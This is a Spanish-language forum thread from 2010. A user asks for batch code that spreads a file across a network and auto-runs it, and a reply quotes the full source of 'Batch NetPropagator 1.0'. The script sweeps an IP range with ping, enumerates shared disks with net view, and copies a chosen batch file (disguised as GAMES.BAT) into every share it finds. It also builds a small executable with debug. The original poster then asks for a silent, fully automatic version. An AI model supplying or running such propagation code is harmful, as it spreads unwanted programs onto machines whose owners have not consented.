Ayuda: Código Batch para propagar por red

Iniciado por Dr.HARK, 31 Agosto 2010, 08:01 AM

0 Miembros y 2 Visitantes están viendo este tema.

Dr.HARK


  -Hola, bueno eso lo del titulo, quisiera que compartieran (quien sepa) unas lineas de código en batch que sirvan para propagar un archivo (y su correspondiente autoejecución de ser posible) a las demás maquinas conectadas a una red, desde ya muchas gracias.

  -Saludos atté.

flony

nunca lo intente el doc es un poco viejito pero creo debe funcionar leelo si te sirve comentas el autor es 3D1
CitarBatch NetPropagator 1.0 BY 3D1

Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...

Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeños inconvenientes, pero no afectan en nada el funcionamiento ..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
Citar
192.168.1.X
Entonces en el Batch se usara asi:
Citar
192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..

Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea   
Código:
@Echo Off
@Title .:: Batch NetPropagator 1.0 BY 3D1 ::.
@Mode con cols=44 Lines=15
@Color 0A
If Exist Report.txt (Del /Q Report.txt>nul 2>&1)
If Exist Key.exe (Del /Q Key.exe >Nul 2>&1)
If Exist Keyboard.dat (Del /Q Keyboard.dat>nul 2>&1)
(
Echo ^(
echo Echo n keyboard.dat
echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo Echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo Echo rcx
echo Echo 002E
echo Echo w0
echo Echo q
Echo ^)^|Debug
Echo Ren keyboard.dat Key.exe
Echo Del %%0
Echo Exit
)>AddK.bat
Start /MIN Cmd /c Addk.bat
CLS
Echo Please Wait...
Ping -n 2 0.0.0.0>nul 2>&1
Mode con cols=44 Lines=15
:new
Set "Txt="
Set "ips="
Set "ip="
Set /a uip=255
Set /a iip=0
Set Sp=                    ....
Set "ip0="
:form
Set "ipt=%ip0%%Sp%"
Set "ip1=%ipt:~0,3%"
Set "ip2=%ipt:~3,3%"
Set "ip3=%ipt:~6,3%"
Cls
Echo.
Echo.
Echo          ESCRIBA LA DIRECCION IP:
ECHO.
ECHO          ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ»
echo          º%ip1%º.º%ip2%º.º%ip3%º.º * º
Echo          ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ
echo.
echo.
echo.
echo  Copyright (3D1) 2009 - Derechos reservados
echo  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
echo            Hacking And Security
echo            îîîîîîîîîîîîîîîîîîîî
Key
IF %ERRORLEVEL% == 48 (set ip0=%ip0%0)
IF %ERRORLEVEL% == 49 (set ip0=%ip0%1)
IF %ERRORLEVEL% == 50 (set ip0=%ip0%2)
IF %ERRORLEVEL% == 51 (set ip0=%ip0%3)
IF %ERRORLEVEL% == 52 (set ip0=%ip0%4)
IF %ERRORLEVEL% == 53 (set ip0=%ip0%5)
IF %ERRORLEVEL% == 54 (set ip0=%ip0%6)
IF %ERRORLEVEL% == 55 (set ip0=%ip0%7)
IF %ERRORLEVEL% == 56 (set ip0=%ip0%8)
IF %ERRORLEVEL% == 57 (set ip0=%ip0%9)
IF %ERRORLEVEL% == 27 (Exit)
IF %ERRORLEVEL% == 13 (Set ip=%ip1%.%ip2%.%ip3%&CLS&Goto :Code)
IF %ERRORLEVEL% == 8 (SET ip0=<NUL&&set ip0=%ip0:~0,-1%)
Goto :form
:Code
Mode Con Cols=80 Lines=25

Set "nameb=GAMES.BAT"

If Exist "%nameb%" (Del /Q "%nameb%" >nul 2>&1)
CLS
Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ  Batch NetPropagator 1.0 BY 3D1 [BETA]
Echo.
Echo       Escriba o pegue el codigo fuente del batch que se copiara a los..
Echo       Archivos compartidos de los Equipos de su Red..
Echo.
Echo       Para Terminar presione [Ctrl + Z]+[Enter]
Echo       Nombre Predeterminado  [GAMES.bat]
Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Copy Con "%nameb%" >nul 2>&1
If Not Exist "%nameb%" (Goto :Code)
Echo.
Set /P"=> Estas Seguro que deseas Guardar el Code? [Y/N]"<nul
:stas
Key
if "%errorlevel%" == "121" (Goto :Bucle)
if "%errorlevel%" == "89" (Goto :Bucle)
if "%errorlevel%" == "110" (Goto :Code)
if "%errorlevel%" == "78" (Goto :Code)
Goto :stas
:Bucle
Mode con cols=45 Lines=16
Cls
   ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
   Set /p state=<STATEIP.DAT
   If Exist STATEIP.DAT (Del /Q STATEIP.DAT>nul 2>&1)
   If "%state%" == "    (0%% perdidos)," (Echo Conect to: %ip%.%iip%&Echo Conect to: %ip%.%iip%>>Report.txt&Set "ips=%ip%.%iip%"&Call :netview)
If "%iip%" NEQ "%uip%" (
   Set /a iip=%iip%+1
   Goto :Bucle
)
If Exist Report.txt (Start Notepad Report.txt)
Echo.
Set /p"=>Presione Tecla para Salir [KEY]"<nul
Pause>nul
Goto :Eof

:netview
If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
For /f "Tokens=*" %%_ in ('Net View \\%ips% 2^>^&1^|Find "Disco"') do (
   for %%A in (%%_) do (
      if "%%A" NEQ "Disco" (
         Set /p=%%A >>GetFileName.dat<nul
         Ping -n 0 0.0.0.0>nul
      )
   )
Call :add
)
Goto :eof
:add
   Set /p F=<GetFileName.dat
   If Exist "\\%ips%\%F% " (
      Echo  + Copy To : %F%
      Copy "%nameb%" "\\%ips%\%F:~0,-1%" >nul 2>&1
      Echo  + Copy To : %F%>>Report.txt
   ) ELSE (
      Echo  - Copy Not: %F%
      Echo  - Copy Not: %F%>>Report.txt
   )
   If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
   Goto :eof
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.25 5 y la verdad es rapido.. 
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..

Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!   

   

si un problema no tiene solucion entonces no es un problema...es algo inevitable

Dr.HARK



  -Podría servir, pero la verdad necesito un code que opere de forma silenciosa y totalmente automática, o sea, sin necesidad de introducirle direcciones o rangos de IPs ni solicitar ningún tipo de intervención externa   ::) ::)

  -Saludos atté.

Novlucker

En otras palabras, que lo hagan por ti :¬¬

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein